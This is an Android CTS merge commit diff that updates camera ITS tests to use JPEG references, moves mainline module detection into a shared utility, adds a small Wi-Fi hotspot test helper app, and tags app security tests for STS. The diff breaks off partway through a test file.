Merge "Fix CTS failed on ImsServiceTest#testProvisioningManagerNotifyAutoConfig" am: 685f900c47

Change-Id: Icf203396e5126af84324dcedb3e9ebf146e382d6
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 1f457f4..3c39205 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -12,16 +12,9 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import os
-import os.path
-import sys
-import re
-import json
-import tempfile
-import time
-import unittest
-import subprocess
 import math
+import unittest
+
 
 def int_to_rational(i):
     """Function to convert Python integers to Camera2 rationals.
@@ -322,6 +315,23 @@
     return fmt
 
 
+def get_largest_jpeg_format(props, match_ar=None):
+    """Return a capture request and format spec for the largest jpeg size.
+
+    Args:
+        props:    the object returned from its.device.get_camera_properties().
+        match_ar: aspect ratio to match
+
+    Returns:
+        fmt:      an output format specification, for the largest possible jpeg
+        format for this device.
+    """
+    size = get_available_output_sizes("jpeg", props, match_ar_size=match_ar)[0]
+    fmt = {"format": "jpeg", "width": size[0], "height": size[1]}
+
+    return fmt
+
+
 def get_max_digital_zoom(props):
     """Returns the maximum amount of zooming possible by the camera device.
 
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 4d601e8..de134a7 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -84,7 +84,7 @@
     for ar_string in AR_CHECKED:
         match_ar = [float(x) for x in ar_string.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             if f["height"] > height_max:
                 height_max = f["height"]
             if f["width"] > width_max:
@@ -113,8 +113,8 @@
     return ar_scaling
 
 
-def find_yuv_fov_reference(cam, req, props):
-    """Determine the circle coverage of the image in YUV reference image.
+def find_jpeg_fov_reference(cam, req, props):
+    """Determine the circle coverage of the image in JPEG reference image.
 
     Args:
         cam:        camera object
@@ -131,7 +131,7 @@
     for ar in AR_CHECKED:
         match_ar = [float(x) for x in ar.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
         except IndexError:
             continue
@@ -143,16 +143,18 @@
     cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
     w = cap["width"]
     h = cap["height"]
+    fmt = cap["format"]
+
     img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    print "Captured %s %dx%d" % ("yuv", w, h)
-    img_name = "%s_%s_w%d_h%d.png" % (NAME, "yuv", w, h)
+    print "Captured %s %dx%d" % (fmt, w, h)
+    img_name = "%s_%s_w%d_h%d.png" % (NAME, fmt, w, h)
     _, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
     fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
     ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
     ref_fov["percent"] = fov_percent
     ref_fov["w"] = w
     ref_fov["h"] = h
-    print "Using YUV reference:", ref_fov
+    print "Using JPEG reference:", ref_fov
     return ref_fov
 
 
@@ -237,7 +239,7 @@
         # If raw capture is available, use it as ground truth.
         if raw_avlb:
             # Capture full-frame raw. Use its aspect ratio and circle center
-            # location as ground truth for the other jepg or yuv images.
+            # location as ground truth for the other jpeg or yuv images.
             print "Creating references for fov_coverage from RAW"
             out_surface = {"format": "raw"}
             cap_raw = cam.do_capture(req, out_surface)
@@ -311,9 +313,9 @@
                 ref_fov["h"] = h_raw
                 print "Using RAW reference:", ref_fov
             else:
-                ref_fov = find_yuv_fov_reference(cam, req, props)
+                ref_fov = find_jpeg_fov_reference(cam, req, props)
         else:
-            ref_fov = find_yuv_fov_reference(cam, req, props)
+            ref_fov = find_jpeg_fov_reference(cam, req, props)
 
         # Determine scaling factors for AR calculations
         ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 85c2753..f32d79da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -55,9 +55,9 @@
     private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
     private static final String SUITE_PLAN = "verifier";
     private static final String SUITE_BUILD = "0";
-    private static final long START_MS = System.currentTimeMillis();
-    private static final long END_MS = START_MS;
     private static final String ZIP_EXTENSION = ".zip";
+    private final long START_MS = System.currentTimeMillis();
+    private final long END_MS = START_MS;
     private final Context mContext;
     private final TestListAdapter mAdapter;
 
diff --git a/apps/MainlineModuleDetector/Android.mk b/apps/MainlineModuleDetector/Android.mk
index b99f8f7..5b8e316 100644
--- a/apps/MainlineModuleDetector/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -21,6 +21,8 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := MainlineModuleDetector
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
index 9a36cc6..4cc8f8c 100644
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 
-<!-- Copyright (C) 2018 The Android Open Source Project
+<!-- Copyright (C) 2019 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
index 5e473d6..01c02c7 100644
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -1,14 +1,28 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
 package com.android.cts.mainlinemoduledetector;
 
 import android.app.Activity;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 
-import java.security.MessageDigest;
-import java.util.EnumSet;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
 import java.util.HashSet;
 import java.util.Set;
 
@@ -16,143 +30,20 @@
 
     private static final String LOG_TAG = "MainlineModuleDetector";
 
-    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
-
-    enum ModuleType {
-        APEX,
-        APK
-    }
-
-    enum MainlineModule {
-        // Security
-        MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
-                true, ModuleType.APEX,
-                "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
-                        + ":C1:A7:B7:C9:1D"),
-        MEDIA("com.google.android.media",
-                true, ModuleType.APEX,
-                "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
-                        + ":E8:B9:98:F9:FD"),
-        DNS_RESOLVER("com.google.android.resolv",
-                true, ModuleType.APEX,
-                "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
-                        + ":68:5F:EB:A6:FF"),
-        CONSCRYPT("com.google.android.conscrypt",
-                true, ModuleType.APEX,
-                "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
-                        + ":D3:83:79:CA:2A"),
-        // Privacy
-        PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
-                false, ModuleType.APK,
-                "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
-                        + ":D9:E6:C0:0F:83"),
-        ANDROID_SERVICES("com.google.android.ext.services",
-                false, ModuleType.APK,
-                "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
-                        + ":AE:8A:26:0B:29"),
-        DOCUMENTS_UI("com.google.android.documentsui",
-                true, ModuleType.APK,
-                "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
-                        + ":F4:09:02:52:97"),
-        // Consistency
-        TZDATA("com.google.android.tzdata",
-                true, ModuleType.APEX,
-                "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
-                        + ":F2:A0:F6:53:89"),
-        NETWORK_STACK("com.google.android.networkstack",
-                true, ModuleType.APK,
-                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
-                        + ":F6:0B:F6:2C:1E"),
-        CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
-                true, ModuleType.APK,
-                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
-                        + ":F6:0B:F6:2C:1E"),
-        NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
-                true, ModuleType.APK,
-                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
-                        + ":F6:0B:F6:2C:1E"),
-        MODULE_METADATA("com.google.android.modulemetadata",
-                true, ModuleType.APK,
-                "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
-                        + ":D5:FD:A0:33:0F"),
-        ;
-
-        String packageName;
-        boolean isPlayUpdated;
-        ModuleType moduleType;
-        String certSHA256;
-
-        MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
-                String certSHA256) {
-            this.packageName = packageName;
-            this.isPlayUpdated = isPlayUpdated;
-            this.moduleType = moduleType;
-            this.certSHA256 = certSHA256;
-        }
-    }
-
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         try {
-            String modules = String.join(",", getPlayManagedModules());
-            Log.i(LOG_TAG, "Play managed modules are: <" + modules + ">");
+            PackageManager pm = getApplicationContext().getPackageManager();
+            Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
+            Set<String> moduleNames = new HashSet<>();
+            for (MainlineModule module : modules) {
+                moduleNames.add(module.packageName);
+            }
+            Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
         } catch (Exception e) {
             Log.e(LOG_TAG, "Failed to retrieve modules.", e);
         }
         this.finish();
     }
-
-    private Set<String> getPlayManagedModules() throws Exception {
-        Set<String> playManagedModules = new HashSet<>();
-
-        PackageManager pm = getApplicationContext().getPackageManager();
-
-        Set<String> packages = new HashSet<>();
-        for (PackageInfo info : pm.getInstalledPackages(0)) {
-            packages.add(info.packageName);
-        }
-        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
-            packages.add(info.packageName);
-        }
-
-        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
-            if (module.isPlayUpdated && packages.contains(module.packageName)
-                    && module.certSHA256.equals(getSignatureDigest(module))) {
-                playManagedModules.add(module.packageName);
-            }
-        }
-        return playManagedModules;
-    }
-
-    private String getSignatureDigest(MainlineModule module) throws Exception {
-        PackageManager pm = getApplicationContext().getPackageManager();
-        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
-        if (module.moduleType == ModuleType.APEX) {
-            flag |= PackageManager.MATCH_APEX;
-        }
-
-        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
-        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
-        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
-
-        final byte[] digest = messageDigest.digest();
-        final int digestLength = digest.length;
-        final int charCount = 3 * digestLength - 1;
-
-        final char[] chars = new char[charCount];
-        for (int i = 0; i < digestLength; i++) {
-            final int byteHex = digest[i] & 0xFF;
-            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
-            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
-            if (i < digestLength - 1) {
-                chars[i * 3 + 2] = ':';
-            }
-        }
-
-        String ret = new String(chars);
-        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
-        return ret;
-    }
-
 }
diff --git a/apps/hotspot/Android.mk b/apps/hotspot/Android.mk
new file mode 100644
index 0000000..ae93979
--- /dev/null
+++ b/apps/hotspot/Android.mk
@@ -0,0 +1,18 @@
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := hotspot
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
new file mode 100644
index 0000000..277be5f
--- /dev/null
+++ b/apps/hotspot/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.hotspot">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+    <application>
+        <activity android:name=".MainActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".Notify" android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.hotspot.TEST_ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+</manifest>
diff --git a/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
new file mode 100644
index 0000000..2e0ed87
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/MainActivity.java
@@ -0,0 +1,20 @@
+package com.android.cts.hotspot;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.support.v4.app.ActivityCompat;
+
+public class MainActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION)
+                != PackageManager.PERMISSION_GRANTED) {
+            ActivityCompat.requestPermissions(
+                    this, new String[] {Manifest.permission.ACCESS_COARSE_LOCATION}, 2);
+        }
+    }
+}
diff --git a/apps/hotspot/src/com/android/cts/hotspot/Notify.java b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
new file mode 100644
index 0000000..a56a390
--- /dev/null
+++ b/apps/hotspot/src/com/android/cts/hotspot/Notify.java
@@ -0,0 +1,57 @@
+package com.android.cts.hotspot;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.wifi.WifiManager;
+import android.os.Handler;
+
+public class Notify extends BroadcastReceiver {
+
+    private static final String EXTRA_HOTSPOT_KEY = "HOTSPOT";
+    private static WifiManager.LocalOnlyHotspotReservation mReservation;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if ("com.android.cts.hotspot.TEST_ACTION".equals(intent.getAction())) {
+            if (intent.hasExtra(EXTRA_HOTSPOT_KEY)) {
+                if ("turnOn".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+                    turnOnHotspot(context);
+                } else if ("turnOff".equals(intent.getStringExtra(EXTRA_HOTSPOT_KEY))) {
+                    turnOffHotspot();
+                }
+            }
+        }
+    }
+
+    private void turnOnHotspot(Context x) {
+        WifiManager manager = (WifiManager) x.getSystemService(Context.WIFI_SERVICE);
+
+        manager.startLocalOnlyHotspot(
+                new WifiManager.LocalOnlyHotspotCallback() {
+
+                    @Override
+                    public void onStarted(WifiManager.LocalOnlyHotspotReservation reservation) {
+                        mReservation = reservation;
+                        super.onStarted(reservation);
+                    }
+
+                    @Override
+                    public void onStopped() {
+                        super.onStopped();
+                    }
+
+                    @Override
+                    public void onFailed(int reason) {
+                        super.onFailed(reason);
+                    }
+                },
+                new Handler());
+    }
+
+    private void turnOffHotspot() {
+        if (mReservation != null) {
+            mReservation.close();
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 6516bcc..02aaad8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -74,6 +74,13 @@
             Log.i(TAG, "Finding business logic for test case: " + testName);
             BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
             mBusinessLogic.applyLogicFor(testName, executor);
+        } else {
+            /* There are cases in which this is an acceptable outcome, and we do not want to fail.
+             * For instance, some business logic rule lists are only sent from the server
+             * for certain devices (see go/aes-gts).  Devices exempt from those rules will
+             * receive no BL config for some tests, and this should result in a pass.
+             */
+            Log.d(TAG, "No business logic found for test: " + testName);
         }
     }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
new file mode 100644
index 0000000..b34242e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * Enum containing metadata for mainline modules.
+ */
+public enum MainlineModule {
+    // Security
+    MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+            true, ModuleType.APEX,
+            "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+                    + ":C1:A7:B7:C9:1D"),
+    MEDIA("com.google.android.media",
+            true, ModuleType.APEX,
+            "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+                    + ":E8:B9:98:F9:FD"),
+    DNS_RESOLVER("com.google.android.resolv",
+            true, ModuleType.APEX,
+            "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+                    + ":68:5F:EB:A6:FF"),
+    CONSCRYPT("com.google.android.conscrypt",
+            true, ModuleType.APEX,
+            "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+                    + ":D3:83:79:CA:2A"),
+    // Privacy
+    PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+            false, ModuleType.APK,
+            "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+                    + ":D9:E6:C0:0F:83"),
+    ANDROID_SERVICES("com.google.android.ext.services",
+            false, ModuleType.APK,
+            "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+                    + ":AE:8A:26:0B:29"),
+    DOCUMENTS_UI("com.google.android.documentsui",
+            true, ModuleType.APK,
+            "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+                    + ":F4:09:02:52:97"),
+    // Consistency
+    TZDATA("com.google.android.tzdata",
+            true, ModuleType.APEX,
+            "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+                    + ":F2:A0:F6:53:89"),
+    NETWORK_STACK("com.google.android.networkstack",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    MODULE_METADATA("com.google.android.modulemetadata",
+            true, ModuleType.APK,
+            "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+                    + ":D5:FD:A0:33:0F"),
+    ;
+
+    public final String packageName;
+    public final boolean isPlayUpdated;
+    public final ModuleType moduleType;
+    public final String certSHA256;
+
+    MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+            String certSHA256) {
+        this.packageName = packageName;
+        this.isPlayUpdated = isPlayUpdated;
+        this.moduleType = moduleType;
+        this.certSHA256 = certSHA256;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
new file mode 100644
index 0000000..11b467d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Detects mainline modules.
+ */
+public class ModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     * <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      if(!ModuleDetector.moduleIsPlayManaged(
+     *          getInstrumentation().getContext().getPackageManager(),
+     *          MainlineModule.MEDIA_SOFTWARE_CODEC)) {
+     *          doStagefrightTest(R.raw.cve_2018_5882);
+     *      }
+     *  }
+     * </pre>
+     */
+    public static boolean moduleIsPlayManaged(PackageManager pm, MainlineModule module)
+            throws Exception {
+        return getPlayManagedModules(pm).contains(module);
+    }
+
+
+    /**
+     * Return all play managed mainline modules.
+     */
+    public static Set<MainlineModule> getPlayManagedModules(PackageManager pm) throws Exception {
+        Set<MainlineModule> playManagedModules = new HashSet<>();
+
+        Set<String> packages = new HashSet<>();
+        for (PackageInfo info : pm.getInstalledPackages(0)) {
+            packages.add(info.packageName);
+        }
+        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+            packages.add(info.packageName);
+        }
+
+        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+            if (module.isPlayUpdated && packages.contains(module.packageName)
+                    && module.certSHA256.equals(getSignatureDigest(pm, module))) {
+                playManagedModules.add(module);
+            }
+        }
+        return playManagedModules;
+    }
+
+    private static String getSignatureDigest(PackageManager pm, MainlineModule module)
+            throws Exception {
+        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+        if (module.moduleType == ModuleType.APEX) {
+            flag |= PackageManager.MATCH_APEX;
+        }
+
+        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+
+        String ret = new String(chars);
+        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+        return ret;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
new file mode 100644
index 0000000..b50d62c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * File type of mainline module.
+ */
+public enum ModuleType {
+    APEX,
+    APK
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index c37fd33..91706c4 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts sts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 46ee46f..008eea4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -23,6 +23,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.SecurityTest;
 
 import com.android.ddmlib.Log;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -224,6 +225,7 @@
      */
     @Test
